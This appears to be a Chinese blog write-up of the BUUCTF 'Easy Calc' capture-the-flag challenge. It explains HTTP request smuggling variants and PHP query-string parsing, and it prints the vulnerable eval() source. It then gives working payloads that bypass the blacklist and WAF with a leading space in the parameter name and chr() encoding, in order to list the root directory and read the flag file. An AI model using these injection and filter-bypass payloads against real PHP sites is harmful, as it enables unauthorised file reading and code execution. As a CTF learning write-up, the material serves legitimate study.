buuctf Easy Calc(HTTP请求走私和PHP字符串解析特性)

知识点:
1、http走私

为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。
在这里插入图片描述

HTTP请求走私漏洞的原因:
HTTP规范提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头
Content-Length:以字节为单位指定消息内容体的长度
在这里插入图片描述

Transfer-Encoding:标头用于指定消息体使用分块编码(Chunked Encode),消息报文由一个或多个数据块,整个消息体以大小为0的块结束,遇到0数据块就结束。
在这里插入图片描述
HTTP请求走私漏洞根据两个服务器的行为大致分为:
CL.TE漏洞:前端服务器使用Content-Length头,而后端服务器使用Transfer-Encoding头。
在这里插入图片描述
前端服务器处理请求Content-Length标头,并将请求正文判定为13字节,而后端服务器处理请求头Transfer-Encoding,识别到0
的数据块作为该请求体的终止,SMUGGLED则被视为下一个请求。
TE.CL漏洞
在这里插入图片描述
前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到下一行的开始SMUGGLED。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length标头,并确定请求主体的长度为3个字节,直到下一行的开始8。以下以开头的字节SMUGGLED未处理,后端服务器会将其视为序列中下一个请求的开始。
TE.TE行为:混淆TE头
在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过以某种方式混淆标头来诱导其中一台服务器不对其进行处理。
在这里插入图片描述

2、PHP字符串解析特性
在这里插入图片描述

3、scandir() 返回指定目录中的文件和目录的数组。
readfile() 输出一个文件
var_dump()此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值
file_get_contents()将一个文件读入字符串中
4、绕过过滤方法:
用chr()转ascii再进行拼接
题目:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

1)查看根目录下的文件,由于过滤了’’,所以用chr(47)代替

? num=var_dump(scandir(chr(47))) #num变量前面一个空格是为了绕过waf检测,waf将无法定位到num变量,也就无法对num的值过滤

在这里插入图片描述
2、输出f1agg文件

? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

在这里插入图片描述
利用http走私
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值